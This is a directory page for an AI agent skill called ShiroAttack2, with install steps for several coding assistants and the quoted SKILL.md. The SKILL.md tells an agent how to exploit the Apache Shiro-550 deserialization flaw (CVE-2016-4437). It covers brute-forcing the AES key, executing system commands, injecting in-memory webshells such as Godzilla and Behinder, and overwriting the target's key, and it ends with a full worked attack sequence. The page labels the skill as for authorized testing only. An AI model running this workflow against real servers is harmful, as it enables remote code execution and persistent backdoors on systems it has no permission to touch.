Prototype · Preview: every server in the official registry, synced every 30 minutes. Sign in with Google to write reviews.Prototype · updated every 30 min
PopNx MCPMCP servers for people who use AI · explained in plain words

ShiroAttack2 Skill

by SummerSec★ 2,6441 skills

Install

What it does

shiro反序列化漏洞综合利用(仅限授权测试使用)

  • Connects Instruction files the AI reads; connects to nothing
  • Account or key No key needed
  • Category Other
For makers: add a badge to your README

If you made this, paste this code into your README. The badge links back to this page.

[![Featured on PopNx MCP](https://mcp.popnx.com/badge/skill/summersec-shiroattack2.svg)](https://mcp.popnx.com/en/skills/summersec-shiroattack2)

Similar Skills

Same kind of work, ordered like the Skills list

Compared with similar ones
This one
ShiroAttack2
llmfitclaude-videoVideoCaptionerpatent-disclosure-skill
MakerSummerSecAlexsJonesbradautomatesWEIFENG2333handsomestWei
Skills11111
GitHub stars2,64439,00420,88916,53913,468
Last code changeJun 4, 2026Nov 12, 2026Sep 25, 2026Sep 12, 2026Nov 15, 2026
LicenseMITMITMITGPL-3.0MIT

1 skills (instruction sets) by SummerSec that an AI reads and follows · not an MCP server

How a Skill differs from MCP

MCP = the hands

Connects the AI to an outside service or data, such as reading Notion or creating an invoice. A program or server has to be running.

Skill = the manual

A text file that teaches the AI how to do a task. It connects to nothing.

Some overlap: a few Skills run scripts that call tools, and a few MCP servers only send knowledge. Start from the task you want done.

Works with

Claude CodeOpenCode

From the maker’s README and the folders in the repo

Install

Is it safe?

  • Who made it

    GitHub account SummerSec (person), 7 years old

  • Use and upkeep

    ★ 2,644 stars · code last changed Jun 4, 2026

  • Any scripts?

    No, plain text files the AI reads and follows

  • Uses the internet?

    No scripts, so it does not go online by itself

  • Changes machine-wide settings?

    No hooks or writes to machine settings found

Checked automatically from the repo files at commit 30a74f2 (read only, nothing was run). Not a safety guarantee: read it and decide for yourself

First: which AI do you use?

Pick your app and this page shows only how to install it there

Option 1Upload to claude.ai (web and app)

Uploading to claude.ai would fail: the description is over 200 characters (228). Use "Let the AI install it" instead

Option 1Let Claude Code install it

Copy this sentence and paste it into a Claude Code chat

Where to install

Checking the commands · copy buttons appear once they pass

Checking the commands · copy buttons appear once they pass

For one project, paste it into a chat that is open in that project’s folder · The AI always shows you the path before installing

The AI tells you what it will do first and asks your permission at every step

Restart Claude Code, then type /shiro-attack-cli or ask for a matching task and Claude picks it up

Checked against official docs Nov 12, 2026 · Source: code.claude.com

For Terminal users

A Skill is instructions the AI will follow. Read the files before installing, and install only from makers you trust.

  1. Open Terminal

    Mac: press Command+Space and type Terminal · Windows: the command below does not work in PowerShell; use “Let AI install it” above instead

  2. Copy the skill folder to ~/.claude/skills

    This downloads the repo to a temporary folder and copies only the folders that contain a SKILL.md

    Checking the commands · copy buttons appear once they pass

  3. Restart Claude Code, then type /shiro-attack-cli or ask for a matching task and Claude picks it up

Skills you install yourself work in the ChatGPT desktop app, Codex CLI and the Codex IDE extension · ChatGPT on the web and mobile cannot use skills you install yourself, only skills that come with a plugin from the directory

ChatGPT desktop app

The ChatGPT desktop app has Codex built in, and Codex reads skills from ~/.agents/skills

Option 1Let ChatGPT install it

Open Codex in the ChatGPT desktop app and paste this sentence into the chat

Where to install

Checking the commands · copy buttons appear once they pass

Checking the commands · copy buttons appear once they pass

The AI always shows you the path before installing

The AI tells you what it will do first and asks your permission at every step

Option 2Put the folder there yourself

Put the shiro-attack-cli folder at ~/.agents/skills/shiro-attack-cli

~ is your home folder ($HOME)

For Terminal users

A Skill is instructions the AI will follow. Read the files before installing, and install only from makers you trust.

  1. Open Terminal

    Mac: press Command+Space and type Terminal · Windows: the command below does not work in PowerShell; use “Let AI install it” above instead

  2. Copy the skill folder to ~/.agents/skills

    This downloads the repo to a temporary folder and copies only the folders that contain a SKILL.md

    Checking the commands · copy buttons appear once they pass

After installing

  • ChatGPT desktop app: open Skills in the sidebar to see that the skill is there
  • To use it: in ChatGPT type @ and pick the skill · in Codex CLI or the IDE extension run /skills or type $ and the skill name
  • Codex picks up newly installed skills by itself; if one does not show up, restart Codex

Checked against official docs Nov 15, 2026 · Source: learn.chatgpt.com

ChatGPT on the web and mobile

Skills you install yourself do not work here; only skills that come with a plugin from the directory

To use this skill with ChatGPT, use the ChatGPT desktop app as above

Checked against official docs Nov 15, 2026 · Source: learn.chatgpt.com

Option 1Let Codex install it

Copy this sentence and paste it into a Codex chat · Works in Codex inside the ChatGPT desktop app, Codex CLI and the IDE extension

Where to install

Checking the commands · copy buttons appear once they pass

Checking the commands · copy buttons appear once they pass

For one project, paste it into a chat that is open in that project’s folder · The AI always shows you the path before installing

The AI tells you what it will do first and asks your permission at every step

Codex picks up newly installed skills by itself; if one does not show up, restart Codex · To use it: in ChatGPT type @ and pick the skill · in Codex CLI or the IDE extension run /skills or type $ and the skill name

Checked against official docs Nov 15, 2026 · Source: learn.chatgpt.com

For Terminal users

A Skill is instructions the AI will follow. Read the files before installing, and install only from makers you trust.

  1. Open Terminal

    Mac: press Command+Space and type Terminal · Windows: the command below does not work in PowerShell; use “Let AI install it” above instead

  2. Copy the skill folder to ~/.agents/skills

    This downloads the repo to a temporary folder and copies only the folders that contain a SKILL.md

    Checking the commands · copy buttons appear once they pass

  3. Restart Codex, then ask for a matching task; Codex lists the skill

Option 1Let Cursor install it

Copy this sentence and paste it into a Cursor chat

Where to install

Checking the commands · copy buttons appear once they pass

Checking the commands · copy buttons appear once they pass

For one project, paste it into a chat that is open in that project’s folder · The AI always shows you the path before installing

The AI tells you what it will do first and asks your permission at every step

In Cursor’s Agent chat, type / and pick shiro-attack-cli

Checked against official docs Nov 12, 2026 · Source: cursor.com

For Terminal users

A Skill is instructions the AI will follow. Read the files before installing, and install only from makers you trust.

  1. Open Terminal

    Mac: press Command+Space and type Terminal · Windows: the command below does not work in PowerShell; use “Let AI install it” above instead

  2. Copy the skill folder to ~/.cursor/skills

    This downloads the repo to a temporary folder and copies only the folders that contain a SKILL.md

    Checking the commands · copy buttons appear once they pass

  3. In Cursor’s Agent chat, type / and pick shiro-attack-cli

Option 1Let the AI install it

For other apps that read skills. The sentence gives the paths for Claude Code, Codex and Cursor so the AI picks the one for your app · Copy this sentence into the app’s chat

Where to install

Checking the commands · copy buttons appear once they pass

Checking the commands · copy buttons appear once they pass

For one project, paste it into a chat that is open in that project’s folder · The AI always shows you the path before installing

The AI tells you what it will do first and asks your permission at every step

Checked against official docs Nov 12, 2026 · Source: code.claude.com, learn.chatgpt.com, cursor.com

For Terminal users

Other apps that support Agent Skills (such as Gemini CLI or GitHub Copilot) use different folders. Check that app’s guide, then copy the folder with the SKILL.md there.

View on GitHub ↗

Skill folders checked against the official Claude Code, Codex and Cursor guides on Nov 11, 2026

View the original SKILL.md

The text below comes from the maker’s repo, not from PopNx MCP

3,777 characters · Open the full file on GitHub

---
name: shiro-attack-cli
description: 当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro 漏洞"。覆盖单目标探测、密钥爆破、Gadget 链自动检测、命令执行、内存马注入和 Key 修改。
user-invocable: false
---

# ShiroAttack2 CLI

Shiro-550 漏洞利用命令行工具,从 fat JAR 直接运行,无需 GUI。

## 启动方式

```bash
JAR="shiro_attack-5.1.1-all.jar"
CP="com.summersec.attack.CLI.MainCLI"
java -cp $JAR $CP <命令> [选项]
```

## 准备工作

### 下载 JAR

如果本地没有 jar,从 GitHub Releases 下载:

```bash
# 查看最新版本
curl -s https://api.github.com/repos/SummerSec/ShiroAttack2/releases/latest \
  | grep browser_download_url | grep all.jar | cut -d '"' -f 4

# 或用浏览器打开 https://github.com/SummerSec/ShiroAttack2/releases
# 下载 shiro_attack-*-all.jar 即可
```

### 准备 Key 字典

`crack` 命令需要 `data/shiro_keys.txt`。如果文件不存在,从 GitHub 下载:

```bash
mkdir -p data
curl -L -o data/shiro_keys.txt \
  https://raw.githubusercontent.com/SummerSec/ShiroAttack2/master/data/shiro_keys.txt
```

`data/` 目录需放在运行 jar 的工作目录下。

## 命令

### detect — 探测 Shiro

```bash
java -cp $JAR $CP detect -u <url> [-k <关键词>] [--cbc|--gcm] [--proxy <url>] [--timeout <秒>]
```

成功输出:`[++] 存在shiro框架!`

### crack — 爆破/验证 Key

```bash
# 字典爆破(工作目录需有 data/shiro_keys.txt)
java -cp $JAR $CP crack -u <url> [--cbc|--gcm]

# 验证指定 Key
java -cp $JAR $CP crack -u <url> -K <base64_key> [--cbc|--gcm]
```

### exec — 执行系统命令

```bash
java -cp $JAR $CP exec -u <url> -K <base64_key> -c <命令> [--cbc|--gcm] [-g <gadget>] [-e <回显>] [--json]
```

- `-K` : Shiro AES Key (Base64)。必需。
- `-c` : 要执行的系统命令。必需。
- `-g` : Gadget 链类名。省略则自动探测(优先无 commons-collections 依赖的变体)。
- `-e` : 回显类型:`AllEcho`(默认)、`TomcatEcho`、`SpringEcho`。

### memshell — 注入内存马

```bash
java -cp $JAR $CP memshell -u <url> -K <base64_key> -t <类型> [--pass <密码>] [--path <路径>] [--cbc|--gcm]
```

- `-t` : 内存马类型。必需。可选:`哥斯拉[Filter]`、`哥斯拉[Servlet]`、`冰蝎[Filter]`、`冰蝎[Servlet]`、`蚁剑[Filter]`、`蚁剑[Servlet]`、`NeoreGeorg[Filter]`、`NeoreGeorg[Servlet]`、`reGeorg[Filter]`、`reGeorg[Servlet]`
- `--pass` : 内存马连接密码,默认 `passwd`
- `--path` : 内存马 URL 路径,默认 `/favicon.ico`

### changekey — 修改目标 Shiro Key

```bash
java -cp $JAR $CP changekey -u <url> -K <当前key> --newkey <新key> [--variant <变体>] [--cbc|--gcm]
```

- `--newkey` : 新的 Shiro AES Key (Base64)。必需。
- `--variant` : 注入路径变体,默认 `filterConfigs -> shiroFilterFactoryBean`。可选:`filterConfigs -> shiroFilterFactoryBean`、`getFilterRegistration -> shiroFilterFactoryBean`、`filterConfigs -> 常见 Shiro 名依次匹配`、`getFilterRegistration -> 常见 Shiro 名依次匹配`、`filterConfigs -> 包含 shiro 的名称扫描`、`高风险: 全候选 rememberMeManager 扫描`

### gui — 启动图形界面

```bash
java -cp $JAR $CP gui
```

## AES 模式

| Shiro 版本 | 选项 |
|-----------|------|
| ≤ 1.2.4 | `--cbc` |
| ≥ 1.2.5 | `--gcm` |

## JSON 输出

使用 `--json` 时日志行输出为结构化 JSON,命令执行结果仍以原始文本打印。

```json
{"level":"info","msg":"[++] 存在shiro框架!"}
{"level":"success","msg":"[++] 找到key:kPH+bIxk5D2deZiIxcaaaA=="}
{"level":"info","msg":"[++] 发现构造链:CommonsBeanutilsString_183  回显方式: AllEcho"}
```

## 常见错误

- `[-] 响应含 rememberMe=deleteMe` : Key 正确但反序列化失败,尝试更换 Gadget/回显组合或检查 AES 模式
- `[-] 未发现shiro框架` : 目标无 Shiro 或 Cookie 关键词不匹配,尝试 `-k` 修改关键词
- `[-] 测试:xxx -> 响应含 rememberMe=deleteMe` : 该组合未命中,自动探测继续
- `[-] 利用链与回显全部测试完毕,未发现可用组合` : 所有链均失败,目标可能缺少必需依赖

## 完整流程示例

```bash
JAR="shiro_attack-5.1.1-all.jar"
CP="com.summersec.attack.CLI.MainCLI"
T="http://192.168.1.100:8080"

# 1. 探测 Shiro
java -cp $JAR $CP detect -u $T --cbc

# 2. 爆破 Key
java -cp $JAR $CP crack -u $T --cbc

# 3. 执行命令
java -cp $JAR $CP exec -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -c "whoami" --cbc

# 4. 注入内存马
java -cp $JAR $CP memshell -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -t 哥斯拉[Filter] --pass mypass

# 5. 修改 Shiro Key
java -cp $JAR $CP changekey -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" --newkey "FcoRsBKe9XB3zOHbxTG0Lw=="
```

Discussion

Ask, share a tip or report that it does not work. Sorted by what people marked helpful.

No posts yet. Be the first to ask or share.

Posts here are written by users, not the PopNx team.

Sign in to post

From GitHub

GitHub stars
2,644
Maker
SummerSec
License
MIT
Last code change
Jun 4, 2026
SKILL.md files in the repo (including translated copies and templates)
2
Topics
shiro, shiro-security, shiro550, shiroexp